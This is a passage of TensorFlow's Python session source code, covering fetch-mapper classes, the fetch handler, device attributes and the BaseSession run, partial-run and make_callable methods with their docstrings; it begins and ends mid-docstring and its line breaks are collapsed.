a triple of conversion functions for fetching and/or feeding values of user-defined types in a call to tf.Session.run(). An example ```python class SquaredTensor(object): def __init__(self, tensor): self.sq = tf.square(tensor) #you can define conversion functions as follows: fetch_function = lambda squared_tensor:([squared_tensor.sq], lambda val: val[0]) feed_function = lambda feed, feed_val: [(feed.sq, feed_val)] feed_function_for_partial_run = lambda feed: [feed.sq] #then after invoking this register function, you can use as follows: session.run(squared_tensor1, feed_dict = {squared_tensor2 : some_numpy_array}) ``` Args: tensor_type: The type for which you want to register a conversion function. fetch_function: A callable that takes an object of type `tensor_type` and returns a tuple, where the first element is a list of `tf.Tensor` objects, and the second element is a callable that takes a list of ndarrays and returns an object of some value type that corresponds to `tensor_type`. fetch_function describes how to expand fetch into its component Tensors and how to contract the fetched results back into a single return value. feed_function: A callable that takes feed_key and feed_value as input, and returns a list of tuples (feed_tensor, feed_val), feed_key must have type `tensor_type`, and feed_tensor must have type `tf.Tensor`. Each feed function describes how to unpack a single fed value and map it to feeds of one or more tensors and their corresponding values. feed_function_for_partial_run: A callable for specifying tensor values to feed when setting up a partial run, which takes a `tensor_type` type object as input, and returns a list of Tensors. Raises: ValueError: If `tensor_type` has already been registered. """ for conversion_function in _REGISTERED_EXPANSIONS: if issubclass(conversion_function[0], tensor_type): raise ValueError('%s has already been registered so ignore it.' % tensor_type) _REGISTERED_EXPANSIONS.insert(0, (tensor_type, fetch_function, feed_function, feed_function_for_partial_run)) def _is_attrs_instance(obj): """Returns True if the given obj is an instance of attrs-decorated class.""" return getattr(obj.__class__, '__attrs_attrs__', None) is not None def _get_attrs_values(obj): """Returns the list of values from an attrs instance.""" attrs = getattr(obj.__class__, '__attrs_attrs__') return [getattr(obj, a.name) for a in attrs] class _FetchMapper(object): """Definition of the interface provided by fetch mappers. Fetch mappers are utility classes used by the _FetchHandler to handle arbitrary structures for the `fetch` argument to `Session.run()`. The `fetch` argument can be of various shapes: single tensor or op, list of fetches, tuple of fetches, namedtuple of fetches, or dict of fetches. The structures can be arbitrarily nested. The low level run() API only wants a list of tensor or op names. The various `_FetchMapper` subclasses below take care of handling the different shapes: uniquifying the fetches, and constructing results with the original shape. """ def unique_fetches(self): """Return the list of unique tensors or ops needed by this fetch mapper. Returns: A list of tensors or ops. """ raise NotImplementedError('Must be implemented by subclasses') def build_results(self, values): """Build results that match the original shape of the fetch. Args: values: List of values returned by run(). The values correspond exactly to the list tensors or ops returned by unique_fetches(). Returns: A struct of the same shape as the original fetch object handled by this fetch mapper. In the returned struct, the original fetches are replaced by their fetched values. """ raise NotImplementedError('Must be implemented by subclasses') @staticmethod def for_fetch(fetch): """Creates fetch mapper that handles the structure of `fetch`. The default graph must be the one from which we want to fetch values when this function is called. Args: fetch: An arbitrary fetch structure: singleton, list, tuple, namedtuple, or dict. Returns: An instance of a subclass of `_FetchMapper` that handles the shape. """ if fetch is None: raise TypeError('Fetch argument %r has invalid type %r' % (fetch, type(fetch))) elif isinstance(fetch, (list, tuple)): # NOTE(touts): This is also the code path for namedtuples. return _ListFetchMapper(fetch) elif isinstance(fetch, collections_abc.Mapping): return _DictFetchMapper(fetch) elif _is_attrs_instance(fetch): return _AttrsFetchMapper(fetch) else: # Look for a handler in the registered expansions. for tensor_type, fetch_fn, _, _ in _REGISTERED_EXPANSIONS: if isinstance(fetch, tensor_type): fetches, contraction_fn = fetch_fn(fetch) return _ElementFetchMapper(fetches, contraction_fn) # Did not find anything. raise TypeError('Fetch argument %r has invalid type %r' % (fetch, type(fetch))) class _ElementFetchMapper(_FetchMapper): """Fetch mapper for singleton tensors and ops.""" def __init__(self, fetches, contraction_fn): """Creates an _ElementFetchMapper. This is the fetch mapper used for leaves in the fetch struct. Because of the expansions mechanism, a leaf can actually fetch more than one tensor. Also note that the fetches here can be just strings (tensor or op names) or any other object that the graph knows how to convert to a tensor, such as a Variable. So we have to run each fetch through `as_graph_element()` to get the corresponding tensor or op. Args: fetches: List of objects, as returned by a fetch_fn defined in _REGISTERED_EXPANSIONS. contraction_fn: Callable as returned by a fetch_fn. """ self._unique_fetches = [] for fetch in fetches: try: self._unique_fetches.append(ops.get_default_graph().as_graph_element( fetch, allow_tensor=True, allow_operation=True)) except TypeError as e: raise TypeError('Fetch argument %r has invalid type %r, ' 'must be a string or Tensor. (%s)' % (fetch, type(fetch), str(e))) except ValueError as e: raise ValueError('Fetch argument %r cannot be interpreted as a ' 'Tensor. (%s)' % (fetch, str(e))) except KeyError as e: raise ValueError('Fetch argument %r cannot be interpreted as a ' 'Tensor. (%s)' % (fetch, str(e))) self._contraction_fn = contraction_fn def unique_fetches(self): return self._unique_fetches def build_results(self, values): if not values: # 'Operation' case return None else: return self._contraction_fn(values) def _uniquify_fetches(fetch_mappers): """Uniquifies fetches from a list of fetch_mappers. This is a utility function used by _ListFetchMapper and _DictFetchMapper. It gathers all the unique fetches from a list of mappers and builds a list containing all of them but without duplicates (unique_fetches). It also returns a 2-D list of integers (values_indices) indicating at which index in unique_fetches the fetches of the mappers are located. This list is as follows: values_indices[mapper_index][mapper_fetch_index] = unique_fetches_index Args: fetch_mappers: list of fetch mappers. Returns: A list of fetches. A 2-D list of integers. """ unique_fetches = [] value_indices = [] seen_fetches = {} for m in fetch_mappers: m_value_indices = [] for f in m.unique_fetches(): j = seen_fetches.get(id(f)) if j is None: j = len(seen_fetches) seen_fetches[id(f)] = j unique_fetches.append(f) m_value_indices.append(j) value_indices.append(m_value_indices) return unique_fetches, value_indices class _ListFetchMapper(_FetchMapper): """Fetch mapper for lists, tuples, and namedtuples.""" def __init__(self, fetches): """Creates a _ListFetchMapper. Args: fetches: List, tuple, or namedtuple of fetches. """ if isinstance(fetches, wrapt.ObjectProxy): self._fetch_type = type(fetches.__wrapped__) else: self._fetch_type = type(fetches) self._mappers = [_FetchMapper.for_fetch(fetch) for fetch in fetches] self._unique_fetches, self._value_indices = _uniquify_fetches(self._mappers) def unique_fetches(self): return self._unique_fetches def build_results(self, values): # Create the list of results for each mapper. results = [] for m, vi in zip(self._mappers, self._value_indices): results.append(m.build_results([values[j] for j in vi])) # Return a value of the original type of the fetches. if issubclass(self._fetch_type, list): return results elif self._fetch_type == tuple: return tuple(results) else: # This is the code path for namedtuple. return self._fetch_type(*results) class _DictFetchMapper(_FetchMapper): """Fetch mapper for dicts.""" def __init__(self, fetches): """Creates a _DictFetchMapper. Args: fetches: Dict of fetches. """ self._fetch_type = type(fetches) if isinstance(fetches, collections.defaultdict): self._type_ctor = functools.partial(collections.defaultdict, fetches.default_factory) else: self._type_ctor = self._fetch_type self._keys = fetches.keys() self._mappers = [ _FetchMapper.for_fetch(fetch) for fetch in fetches.values() ] self._unique_fetches, self._value_indices = _uniquify_fetches(self._mappers) def unique_fetches(self): return self._unique_fetches def build_results(self, values): def _generator(): for k, m, vi in zip(self._keys, self._mappers, self._value_indices): yield k, m.build_results([values[j] for j in vi]) return self._type_ctor(_generator()) class _AttrsFetchMapper(_FetchMapper): """Fetch mapper for attrs decorated classes.""" def __init__(self, fetches): """Creates a _AttrsFetchMapper. Args: fetches: An instance of an attrs decorated class. """ values = _get_attrs_values(fetches) self._fetch_type = type(fetches) self._mappers = [_FetchMapper.for_fetch(fetch) for fetch in values] self._unique_fetches, self._value_indices = _uniquify_fetches(self._mappers) def unique_fetches(self): return self._unique_fetches def build_results(self, values): results = [] for m, vi in zip(self._mappers, self._value_indices): results.append(m.build_results([values[j] for j in vi])) return self._fetch_type(*results) class _FetchHandler(object): """Handler for structured fetches. Given a graph, a user-provided structure for fetches, and a feed dict, this class takes care of generating a list of tensor names to fetch and op names to run for a low level `run()` call. Given the results of the low level run call, this class can also rebuild a result structure matching the user-provided structure for fetches, but containing the corresponding results. """ # TODO(touts): Make this class also take care of destructuring the feed # dict instead of doing it in the callers. def __init__(self, graph, fetches, feeds, feed_handles=None): """Creates a fetch handler. Args: graph: Graph of the fetches. Used to check for fetchability and to convert all fetches to tensors or ops as needed. fetches: An arbitrary fetch structure: singleton, list, tuple, namedtuple, or dict. feeds: A feed dict where keys are Tensors. feed_handles: A dict from feed Tensors to TensorHandle objects used as direct feeds. """ with graph.as_default(): self._fetch_mapper = _FetchMapper.for_fetch(fetches) self._fetches = [] self._targets = [] self._feeds = feeds self._feed_handles = feed_handles or {} self._ops = [] self._fetch_handles = {} for fetch in self._fetch_mapper.unique_fetches(): if isinstance(fetch, ops.Operation): self._assert_fetchable(graph, fetch) self._targets.append(fetch) self._ops.append(True) else: self._assert_fetchable(graph, fetch.op) self._fetches.append(fetch) self._ops.append(False) # Remember the fetch if it is for a tensor handle. if (isinstance(fetch, ops.Tensor) and (fetch.op.type == 'GetSessionHandle' or fetch.op.type == 'GetSessionHandleV2')): self._fetch_handles[fetch.ref()] = fetch.op.inputs[0].dtype self._final_fetches = [x for x in self._fetches if x.ref() not in feeds] def _assert_fetchable(self, graph, op): if not graph.is_fetchable(op): raise errors.InaccessibleTensorError( 'Operation %r has been marked as not fetchable. Typically this' ' happens when it is defined in another function or code block.' ' Use return values,explicit Python locals or TensorFlow collections' ' to access it.' % op.name) def fetches(self): """Return the unique names of tensors to fetch. Returns: A list of strings. """ return self._final_fetches def targets(self): """Return the unique names of ops to run. Returns: A list of strings. """ return self._targets def build_results(self, session, tensor_values): """Build results matching the original fetch shape. `tensor_values` must be a list of the same length as the one returned by `fetches()`, and holding the requested fetch values. This method builds a struct with the same shape as the original `fetches` passed to the constructor, in which the fetches are replaced by their fetched value. Args: session: The enclosing session. Used for tensor handles. tensor_values: List of values matching the list returned by fetches(). Returns: A structure of the same shape as the original `fetches` argument but containing tensors or None (for fetched ops). """ full_values = [] assert len(self._final_fetches) == len(tensor_values) i = 0 j = 0 for is_op in self._ops: if is_op: full_values.append(None) else: # If the fetch was in the feeds, use the fed value, otherwise # use the returned value. if self._fetches[i].ref() in self._feed_handles: # A fetch had a corresponding direct TensorHandle feed. Call eval() # to obtain the Tensor value from the TensorHandle. value = self._feed_handles[self._fetches[i].ref()].eval() else: value = self._feeds.get(self._fetches[i].ref()) if value is None: value = tensor_values[j] j += 1 dtype = self._fetch_handles.get(self._fetches[i].ref()) if dtype: full_values.append(session_ops.TensorHandle(value, dtype, session)) else: full_values.append(value) i += 1 assert j == len(tensor_values) return self._fetch_mapper.build_results(full_values) def _name_list(tensor_list): """Utility function for transitioning to the new session API. Args: tensor_list: a list of `Tensor`s. Returns: A list of each `Tensor`s name (as byte arrays). """ return [compat.as_bytes(t.name) for t in tensor_list] class _DeviceAttributes(object): """Struct-like object describing a device's attributes. Each device has 3 key properties: - name: the fully-qualified TensorFlow path to the device. For example: /job:worker/replica:0/task:3/device:CPU:0 - device_type: the type of the device (e.g. CPU, GPU, TPU, etc.) - memory_limit_bytes: the maximum amount of memory available on the device (in bytes). """ def __init__(self, name, device_type, memory_limit_bytes, incarnation): self._name = device.canonical_name(name) self._device_type = device_type self._memory_limit_bytes = memory_limit_bytes self._incarnation = incarnation @property def name(self): return self._name @property def device_type(self): return self._device_type @property def memory_limit_bytes(self): return self._memory_limit_bytes @property def incarnation(self): return self._incarnation def __repr__(self): return '_DeviceAttributes(%s, %s, %d, %d)' % ( self.name, self.device_type, self.memory_limit_bytes, self.incarnation, ) class BaseSession(SessionInterface): """A class for interacting with a TensorFlow computation. The BaseSession enables incremental graph building with inline execution of Operations and evaluation of Tensors. """ def __init__(self, target='', graph=None, config=None): """Constructs a new TensorFlow session. Args: target: (Optional) The TensorFlow execution engine to connect to. graph: (Optional) The graph to be used. If this argument is None, the default graph will be used. config: (Optional) ConfigProto proto used to configure the session. If no config is specified, the global default will be used. The global default can be configured via the tf.config APIs. Raises: tf.errors.OpError: Or one of its subclasses if an error occurs while creating the TensorFlow session. TypeError: If one of the arguments has the wrong type. """ _python_session_create_counter.get_cell().increase_by(1) if graph is None: self._graph = ops.get_default_graph() else: if not isinstance(graph, ops.Graph): raise TypeError('graph must be a tf.Graph, but got %s' % type(graph)) self._graph = graph self._closed = False if target is not None: try: self._target = compat.as_bytes(target) except TypeError: if isinstance(target, config_pb2.ConfigProto): raise TypeError('target must be a string, but got %s.' ' Did you do "Session(config)" instead of' ' "Session(config=config)"?' % type(target)) raise TypeError('target must be a string, but got %s' % type(target)) else: self._target = None self._delete_lock = threading.Lock() self._dead_handles = [] if config is None: config = context.context().config if not isinstance(config, config_pb2.ConfigProto): raise TypeError('config must be a tf.ConfigProto, but got %s' % type(config)) if (mixed_precision_global_state.is_mixed_precision_graph_rewrite_enabled() and config.graph_options.rewrite_options.auto_mixed_precision != rewriter_config_pb2.RewriterConfig.OFF): new_config = config_pb2.ConfigProto() new_config.CopyFrom(config) new_config.graph_options.rewrite_options.auto_mixed_precision = ( rewriter_config_pb2.RewriterConfig.ON) config = new_config elif (config.graph_options.rewrite_options.auto_mixed_precision != rewriter_config_pb2.RewriterConfig.ON): mixed_precision_global_state.set_non_mixed_precision_session_created(True) self._config = config self._add_shapes = config.graph_options.infer_shapes self._session = None opts = tf_session.TF_NewSessionOptions(target=self._target, config=config) try: # pylint: disable=protected-access self._session = tf_session.TF_NewSessionRef(self._graph._c_graph, opts) # pylint: enable=protected-access finally: tf_session.TF_DeleteSessionOptions(opts) def list_devices(self): """Lists available devices in this session. ```python devices = sess.list_devices() for d in devices: print(d.name) ``` Where: Each element in the list has the following properties name: A string with the full name of the device. ex: `/job:worker/replica:0/task:3/device:CPU:0` device_type: The type of the device (e.g. `CPU`, `GPU`, `TPU`.) memory_limit: The maximum amount of memory available on the device. Note: depending on the device, it is possible the usable memory could be substantially less. Raises: tf.errors.OpError: If it encounters an error (e.g. session is in an invalid state, or network errors occur). Returns: A list of devices in the session. """ raw_device_list = tf_session.TF_SessionListDevices(self._session) device_list = [] size = tf_session.TF_DeviceListCount(raw_device_list) for i in range(size): name = tf_session.TF_DeviceListName(raw_device_list, i) device_type = tf_session.TF_DeviceListType(raw_device_list, i) memory = tf_session.TF_DeviceListMemoryBytes(raw_device_list, i) incarnation = tf_session.TF_DeviceListIncarnation(raw_device_list, i) device_list.append( _DeviceAttributes(name, device_type, memory, incarnation)) tf_session.TF_DeleteDeviceList(raw_device_list) return device_list def close(self): """Closes this session. Calling this method frees all resources associated with the session. Raises: tf.errors.OpError: Or one of its subclasses if an error occurs while closing the TensorFlow session. """ if self._session and not self._closed: self._closed = True tf_session.TF_CloseSession(self._session) def __del__(self): # cleanly ignore all exceptions try: self.close() except Exception: # pylint: disable=broad-except pass if self._session is not None: try: tf_session.TF_DeleteSession(self._session) except (AttributeError, TypeError): # At shutdown, `c_api_util`, `tf_session`, or # `tf_session.TF_DeleteSession` may have been garbage collected, causing # the above method calls to fail. In this case, silently leak since the # program is about to terminate anyway. pass self._session = None @property def graph(self): """The graph that was launched in this session.""" return self._graph @property def graph_def(self): """A serializable version of the underlying TensorFlow graph. Returns: A graph_pb2.GraphDef proto containing nodes for all of the Operations in the underlying TensorFlow graph. """ return self._graph.as_graph_def(add_shapes=self._add_shapes) @property def sess_str(self): return self._target def as_default(self): """Returns a context manager that makes this object the default session. Use with the `with` keyword to specify that calls to `tf.Operation.run` or `tf.Tensor.eval` should be executed in this session. ```python c = tf.constant(..) sess = tf.compat.v1.Session() with sess.as_default(): assert tf.compat.v1.get_default_session() is sess print(c.eval()) ``` To get the current default session, use `tf.compat.v1.get_default_session`. *N.B.* The `as_default` context manager *does not* close the session when you exit the context, and you must close the session explicitly. ```python c = tf.constant(...) sess = tf.compat.v1.Session() with sess.as_default(): print(c.eval()) # ... with sess.as_default(): print(c.eval()) sess.close() ``` Alternatively, you can use `with tf.compat.v1.Session():` to create a session that is automatically closed on exiting the context, including when an uncaught exception is raised. *N.B.* The default session is a property of the current thread. If you create a new thread, and wish to use the default session in that thread, you must explicitly add a `with sess.as_default():` in that thread's function. *N.B.* Entering a `with sess.as_default():` block does not affect the current default graph. If you are using multiple graphs, and `sess.graph` is different from the value of `tf.compat.v1.get_default_graph`, you must explicitly enter a `with sess.graph.as_default():` block to make `sess.graph` the default graph. Returns: A context manager using this session as the default session. """ return ops.default_session(self) def run(self, fetches, feed_dict=None, options=None, run_metadata=None): """Runs operations and evaluates tensors in `fetches`. This method runs one "step" of TensorFlow computation, by running the necessary graph fragment to execute every `Operation` and evaluate every `Tensor` in `fetches`, substituting the values in `feed_dict` for the corresponding input values. The `fetches` argument may be a single graph element, or an arbitrarily nested list, tuple, namedtuple, dict, or OrderedDict containing graph elements at its leaves. A graph element can be one of the following types: * A `tf.Operation`. The corresponding fetched value will be `None`. * A `tf.Tensor`. The corresponding fetched value will be a numpy ndarray containing the value of that tensor. * A `tf.sparse.SparseTensor`. The corresponding fetched value will be a `tf.compat.v1.SparseTensorValue` containing the value of that sparse tensor. * A `get_tensor_handle` op. The corresponding fetched value will be a numpy ndarray containing the handle of that tensor. * A `string` which is the name of a tensor or operation in the graph. The value returned by `run()` has the same shape as the `fetches` argument, where the leaves are replaced by the corresponding values returned by TensorFlow. Example: ```python a = tf.constant([10, 20]) b = tf.constant([1.0, 2.0]) # 'fetches' can be a singleton v = session.run(a) # v is the numpy array [10, 20] # 'fetches' can be a list. v = session.run([a, b]) # v is a Python list with 2 numpy arrays: the 1-D array [10, 20] and the # 1-D array [1.0, 2.0] # 'fetches' can be arbitrary lists, tuples, namedtuple, dicts: MyData = collections.namedtuple('MyData', ['a', 'b']) v = session.run({'k1': MyData(a, b), 'k2': [b, a]}) # v is a dict with # v['k1'] is a MyData namedtuple with 'a' (the numpy array [10, 20]) and # 'b' (the numpy array [1.0, 2.0]) # v['k2'] is a list with the numpy array [1.0, 2.0] and the numpy array # [10, 20]. ``` The optional `feed_dict` argument allows the caller to override the value of tensors in the graph. Each key in `feed_dict` can be one of the following types: * If the key is a `tf.Tensor`, the value may be a Python scalar, string, list, or numpy ndarray that can be converted to the same `dtype` as that tensor. Additionally, if the key is a `tf.compat.v1.placeholder`, the shape of the value will be checked for compatibility with the placeholder. * If the key is a `tf.sparse.SparseTensor`, the value should be a `tf.compat.v1.SparseTensorValue`. * If the key is a nested tuple of `Tensor`s or `SparseTensor`s, the value should be a nested tuple with the same structure that maps to their corresponding values as above. Each value in `feed_dict` must be convertible to a numpy array of the dtype of the corresponding key. The optional `options` argument expects a [`RunOptions`] proto. The options allow controlling the behavior of this particular step (e.g. turning tracing on). The optional `run_metadata` argument expects a [`RunMetadata`] proto. When appropriate, the non-Tensor output of this step will be collected there. For example, when users turn on tracing in `options`, the profiled info will be collected into this argument and passed back. Args: fetches: A single graph element, a list of graph elements, or a dictionary whose values are graph elements or lists of graph elements (described above). feed_dict: A dictionary that maps graph elements to values (described above). options: A [`RunOptions`] protocol buffer run_metadata: A [`RunMetadata`] protocol buffer Returns: Either a single value if `fetches` is a single graph element, or a list of values if `fetches` is a list, or a dictionary with the same keys as `fetches` if that is a dictionary (described above). Order in which `fetches` operations are evaluated inside the call is undefined. Raises: RuntimeError: If this `Session` is in an invalid state (e.g. has been closed). TypeError: If `fetches` or `feed_dict` keys are of an inappropriate type. ValueError: If `fetches` or `feed_dict` keys are invalid or refer to a `Tensor` that doesn't exist. """ options_ptr = tf_session.TF_NewBufferFromString( compat.as_bytes(options.SerializeToString())) if options else None run_metadata_ptr = tf_session.TF_NewBuffer() if run_metadata else None try: result = self._run(None, fetches, feed_dict, options_ptr, run_metadata_ptr) if run_metadata: proto_data = tf_session.TF_GetBuffer(run_metadata_ptr) run_metadata.ParseFromString(compat.as_bytes(proto_data)) finally: if run_metadata_ptr: tf_session.TF_DeleteBuffer(run_metadata_ptr) if options: tf_session.TF_DeleteBuffer(options_ptr) return result def partial_run(self, handle, fetches, feed_dict=None): """Continues the execution with more feeds and fetches. This is EXPERIMENTAL and subject to change. To use partial execution, a user first calls `partial_run_setup()` and then a sequence of `partial_run()`. `partial_run_setup` specifies the list of feeds and fetches that will be used in the subsequent `partial_run` calls. The optional `feed_dict` argument allows the caller to override the value of tensors in the graph. See run() for more information. Below is a simple example: ```python a = array_ops.placeholder(dtypes.float32, shape=[]) b = array_ops.placeholder(dtypes.float32, shape=[]) c = array_ops.placeholder(dtypes.float32, shape=[]) r1 = math_ops.add(a, b) r2 = math_ops.multiply(r1, c) h = sess.partial_run_setup([r1, r2], [a, b, c]) res = sess.partial_run(h, r1, feed_dict={a: 1, b: 2}) res = sess.partial_run(h, r2, feed_dict={c: res}) ``` Args: handle: A handle for a sequence of partial runs. fetches: A single graph element, a list of graph elements, or a dictionary whose values are graph elements or lists of graph elements (see documentation for `run`). feed_dict: A dictionary that maps graph elements to values (described above). Returns: Either a single value if `fetches` is a single graph element, or a list of values if `fetches` is a list, or a dictionary with the same keys as `fetches` if that is a dictionary (see documentation for `run`). Raises: tf.errors.OpError: Or one of its subclasses on error. """ # TODO(touts): Support feeding and fetching the same tensor. return self._run(handle, fetches, feed_dict, None, None) def partial_run_setup(self, fetches, feeds=None): """Sets up a graph with feeds and fetches for partial run. This is EXPERIMENTAL and subject to change. Note that contrary to `run`, `feeds` only specifies the graph elements. The tensors will be supplied by the subsequent `partial_run` calls. Args: fetches: A single graph element, or a list of graph elements. feeds: A single graph element, or a list of graph elements. Returns: A handle for partial run. Raises: RuntimeError: If this `Session` is in an invalid state (e.g. has been closed). TypeError: If `fetches` or `feed_dict` keys are of an inappropriate type. tf.errors.OpError: Or one of its subclasses if a TensorFlow error happens. """ def _feed_fn(feed): for tensor_type, _, _, feed_fn in _REGISTERED_EXPANSIONS: if isinstance(feed, tensor_type): return feed_fn(feed) raise TypeError('Feed argument %r has invalid type %r' % (feed, type(feed))) # Check session. if self._closed: raise RuntimeError('Attempted to use a closed Session.') if self.graph.version == 0: raise RuntimeError('The Session graph is empty. Add operations to the ' 'graph before calling run().') if feeds is None: feeds = [] # Create request. feed_list = [] # Validate and process feed_list. is_list_feed = isinstance(feeds, (list, tuple)) if not is_list_feed: feeds = [feeds] for feed in feeds: for subfeed in _feed_fn(feed): try: subfeed_t = self.graph.as_graph_element( subfeed, allow_tensor=True, allow_operation=False) # pylint: disable=protected-access feed_list.append(subfeed_t._as_tf_output()) # pylint: enable=protected-access except Exception as e: e.message = ('Cannot interpret feed_list key as Tensor: ' + e.message) e.args = (e.message,) raise e # Validate and process fetches. # TODO(touts): Support feeding and fetching the same tensor. fetch_handler = _FetchHandler(self._graph, fetches, {}) # Set up a graph with feeds and fetches for partial run. def _setup_fn(session, feed_list, fetch_list, target_list): self._extend_graph() return tf_session.TF_SessionPRunSetup_wrapper(session, feed_list, fetch_list, target_list) # pylint: disable=protected-access final_fetches = [t._as_tf_output() for t in fetch_handler.fetches()] final_targets = [op._c_op for op in fetch_handler.targets()] # pylint: enable=protected-access return self._do_call(_setup_fn, self._session, feed_list, final_fetches, final_targets) def _run(self, handle, fetches, feed_dict, options, run_metadata): """Perform either run or partial_run, depending the presence of `handle`.""" def _feed_fn(feed, feed_val): for tensor_type, _, feed_fn, _ in _REGISTERED_EXPANSIONS: if isinstance(feed, tensor_type): return feed_fn(feed, feed_val) raise TypeError('Feed argument %r has invalid type %r' % (feed, type(feed))) # Check session. if self._closed: raise RuntimeError('Attempted to use a closed Session.') if self.graph.version == 0: raise RuntimeError('The Session graph is empty. Add operations to the ' 'graph before calling run().') # Create request. feed_dict_tensor = {} feed_map = {} # Validate and process feed_dict. feed_handles = {} if feed_dict: feed_dict = nest.flatten_dict_items(feed_dict) for feed, feed_val in feed_dict.items(): for subfeed, subfeed_val in _feed_fn(feed, feed_val): try: subfeed_t = self.graph.as_graph_element( subfeed, allow_tensor=True, allow_operation=False) except Exception as e: raise TypeError('Cannot interpret feed_dict key as Tensor: ' + e.args[0]) if isinstance(subfeed_val, ops.Tensor): raise TypeError('The value of a feed cannot be a tf.Tensor object. ' 'Acceptable feed values include Python scalars, ' 'strings, lists, numpy ndarrays, or TensorHandles. ' 'For reference, the tensor object was ' + str(feed_val) + ' which was passed to the ' 'feed with key ' + str(feed) + '.') subfeed_dtype = subfeed_t.dtype.as_numpy_dtype if isinstance(subfeed_val, int) and _convert_to_numpy_obj( subfeed_dtype, subfeed_val) != subfeed_val: raise TypeError( 'Type of feed value ' + str(subfeed_val) + ' with type ' + str(type(subfeed_val)) + ' is not compatible with Tensor type ' + str(subfeed_dtype) + '. Try explicitly setting the type of the feed tensor' ' to a larger type (e.g. int64).') is_tensor_handle_feed = isinstance(subfeed_val, session_ops.TensorHandle) if is_tensor_handle_feed: np_val = subfeed_val.to_numpy_array() feed_handles[subfeed_t.ref()] = subfeed_val else: np_val = np.asarray(subfeed_val, dtype=subfeed_dtype) if (not is_tensor_handle_feed and not subfeed_t.get_shape().is_compatible_with(np_val.shape)): raise ValueError( 'Cannot feed value of shape %r for Tensor %r, ' 'which has shape %r' % (np_val.shape, subfeed_t.name, str(subfeed_t.get_shape()))) if not self.graph.is_feedable(subfeed_t): raise ValueError('Tensor %s may not be fed.' % subfeed_t) feed_dict_tensor[subfeed_t.ref()] = np_val feed_map[compat.as_bytes(subfeed_t.name)] = (subfeed_t, subfeed_val) # Create a fetch handler to take care of the structure of fetches. fetch_handler = _FetchHandler( self._graph, fetches, feed_dict_tensor, feed_handles=feed_handles) # Run request and get response. # We need to keep the returned movers alive for the following _do_run(). # These movers are no longer needed when _do_run() completes, and # are deleted when `movers` goes out of scope when this _run() ends. # TODO(yuanbyu, keveman): Revisit whether we should just treat feeding # of a handle from a different device as an error. _ = self._update_with_movers(feed_dict_tensor, feed_map) final_fetches = fetch_handler.fetches() final_targets = fetch_handler.targets() # We only want to really perform the run if fetches or targets are provided, # or if the call is a partial run that specifies feeds. if final_fetches or final_targets or (handle and feed_dict_tensor): results = self._do_run(handle, final_targets, final_fetches, feed_dict_tensor, options, run_metadata) else: results = [] return fetch_handler.build_results(self, results) def make_callable(self, fetches, feed_list=None, accept_options=False): """Returns a Python callable that runs a particular step. The returned callable will take `len(feed_list)` arguments whose types must be compatible feed values for the respective elements of `feed_list`. For example, if element `i` of `feed_list` is a `tf.Tensor`, the `i`th argument to the returned callable must be a numpy ndarray (or something convertible to an ndarray) with matching element type and shape. See `tf.Session.run` for details of the allowable feed key and value types. The returned callable will have the same return type as `tf.Session.run(fetches, ...)`. For example, if `fetches` is a `tf.Tensor`, the callable will return a numpy ndarray; if `fetches` is a `tf.Operation`, it will return `None`. Args: fetches: A value or list of values to fetch. See `tf.Session.run` for details of the allowable fetch types. feed_list: (Optional.) A list of `feed_dict` keys. See `tf.Session.run` for details of the allowable feed key types. accept_options: (Optional.) If `True`, the returned `Callable` will be able to accept `tf.compat.v1.RunOptions` and `tf.compat.v1.RunMetadata` as optional keyword arguments `options` and `run_metadata`, respectively, with the same syntax and semantics as `tf.Session.run`, which is useful for certain use cases (profiling and debugging) but will result in measurable slowdown of the `Callable`'s performance. Default: `False`. Returns: A function that when called will execute the step defined by `feed_list` and `fetches` in this session. Raises: TypeError: If `fetches` or `feed_list` cannot be interpreted as arguments to `tf.Session.run`. """ if feed_list is not None: if not isinstance(feed_list, (list, tuple)): raise TypeError('`feed_list` must be a list or tuple.') # Delegate any non-empty feed lists to the existing `run()` logic. # TODO(mrry): Refactor the feed handling logic from # `Session._run()` so that we can convert the feeds to a list of # strings here. def _generic_run(*feed_args, **kwargs): feed_dict = { feed: feed_val for feed, feed_val in zip(feed_list, feed_args) } return self.run(fetches, feed_dict=feed_dict, **kwargs) return _generic_run # Ensure any changes to the graph are reflected in the runtime. # Note that we don't need to do this on subsequent calls to the # returned object, because the arguments to `fetches` must already be # in the graph. self._extend_graph() # Create a fetch handler to take care of the structure of fetches. fetch_handler = _FetchHandler(self._graph, fetches, {}) # pylint: disable=protected-access fetch_list = [t._as_tf_output() for t in fetch_handler.fetches()] target_list = [op._c_op for op in fetch_handler.targets()] # pylint: enable=protected-access def _callable_template_with_options_and_metadata(fetch_list, target_list, fetch_handler, options=None, run_metadata=None): """Template callable that accepts RunOptions and RunMetadata.""" options_ptr = tf_session.TF_NewBufferFromString( compat.as_bytes(options.SerializeToString())) if options else None run_metadata_ptr = tf_session.TF_NewBuffer() if run_metadata else None try: results = self._call_tf_sessionrun(options_ptr, {}, fetch_list, target_list, run_metadata_ptr) if fetch_handler: results = fetch_handler.build_results(self, results) else: results = results[0] if results else None if run_metadata: proto_data = tf_session.TF_GetBuffer(run_metadata_ptr) run_metadata.ParseFromString(compat.as_bytes(proto_data)) finally: if run_metadata_ptr: tf_session.TF_DeleteBuffer(run_metadata_ptr) if options: tf_session.TF_DeleteBuffer(options_ptr) return results if accept_options: return functools.partial(_callable_template_with_options_and_metadata, fetch_list, target_list, fetch_handler) elif isinstance(fetches, ops.Operation): # Special case for fetching a single operation, because the # function will have no return value. assert not fetch_list assert len(target_list) == 1 def _single_operation_run(): self._call_tf_sessionrun(None, {}, [], target_list, None) return _single_operation_run elif isinstance(fetches, ops.Tensor): # Special case for fetching a single tensor, because the # function can return the result of `TF_Run()` directly. assert len(fetch_list) == 1 assert not target_list def _single_tensor_run(): results = self._call_tf_sessionrun(None, {}, fetch_list, [], None) return results[0] return _single_tensor_run else: # In all other cases, we must use `fetch_handler` to build the # results for us. def _fetch_handler_run(): results = self._call_tf_sessionrun(None, {}, fetch_list, target_list, None) return fetch_handler.build_results(self, results) return _fetch_handler_run # Captures the name of a node in an error status. The regex below matches # both the old and the new formats: # Old format: [[Node: <node_name> = ...]] # New format: [[{{node <node_name>}} = ...]] _NODEDEF_NAME_RE = re.compile( r'\[\[(Node: )?(\{\{node )?([^\} ]*)(\}\})?\s*=*') def _do_run(self, handle, target_list, fetch_list, feed_dict, options, run_metadata): """Runs a step based on the given fetches and feeds. Args: handle: a handle for partial_run. None if this is just a call to run(). target_list: A list of operations to be run, but not fetched. fetch_list: A list of tensors to be fetched. feed_dict: A dictionary that maps tensors to numpy ndarrays. options: A 